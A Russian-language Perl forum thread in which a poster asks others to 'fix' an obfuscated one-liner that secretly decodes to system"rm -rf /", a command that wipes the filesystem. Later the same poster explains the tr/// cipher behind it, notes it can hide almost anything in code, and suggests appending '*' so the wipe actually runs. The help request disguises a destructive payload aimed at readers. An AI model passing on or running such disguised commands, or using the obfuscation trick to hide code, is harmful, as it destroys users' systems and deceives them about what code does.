Страница 1 из 1
программа из одной строчки на Perl
Добавлено: 09 окт 2017, 18:11
SinglWolf
помогите, пожалуйста исправить такую программу:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
- не печатает
► Показать
"Читать обязательно"Во избежание семиэтажных матов (в мой адрес), употребления корвалола в вперемешку с нецензурной лексикой, не тестировать на сервер-продакшене и тем более не запускать (см. выше) из под ROOT
Добавлено: 09 окт 2017, 18:19
rewuxiin
чур меня
Добавлено: 09 окт 2017, 19:08
kulia
SinglWolf писал(а):cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Не, ну Вы там на своем птичьем разговариваете, а мне вот даже интересно стало, что тут зашифровано.
Я в таких perl-ах не силен, понаписали тут крикозябликов, а что оно делать то должно??? Понятно что что-то вывести, но не понятно что
Добавлено: 09 окт 2017, 19:40
SinglWolf
Там "зашифровано"
Делайте выводы сами. Без комментариев.
Добавлено: 09 окт 2017, 19:51
kulia
Теперь понятно что он выводит... из строя
Добавлено: 10 окт 2017, 11:29
SinglWolf
Кому интересно как работает!
обычная шифровка и немного знания, как работает оператор
tr/// он же
y///.
создаётся алгоритм шифрования типа ключ -> значение
(часто встречается в путаном коде)
Код: Выделить всё
#!/usr/bin/perl -w
use strict;
## Патч Бармина
my $str = "=]=>%-{<-|}<&|`{";
my $a1='';
$a1 =~ s:: !"#$%&'()*+,-./: ;
print "a1=$a1\n"; # -/
my $a2='';
$a2 =~ s//:;<=>?@/ ;
print "a2=$a2\n"; #:-@
my $a3='';
$a3 =~ s::[\]^_`: ;
print "a3=$a3\n"; #[-`
my $a4='';
$a4 =~ s::{|}: ;
print "a4=$a4\n"; #{-}
my $a5='';
$a5 =~ s::`abcdefghijklmnopqrstuvwxyz{: ;
print "a5=$a5\n"; #`-{
$str =~ y# -/:-@[-`{-}#`-{/" -# ;
### (ключ) !"#$%&'()*+,-./:;<=>?@[\]^_`{|} ###
### (значение)`abcdefghijklmnopqrstuvwxyz{/" -###
# сверху ключ,под ним снизу его значение.
# и посимвольно '=' => 's', ']' => 'y', ....и т.д.
# (шифр) =]=>%-{<-|}<&|`{ ==> (расшифровка) system"rm -rf /"
print "str = $str\n";
используя этот метод можно сделать не явным если не всё,то почти всё в коде.
также решить первоначальный вопрос - почему не работает?
если не Windows, то, например, добавить в конец команды '*', или что-то ещё.
P.S. так что никаких угадываний - чистая математика.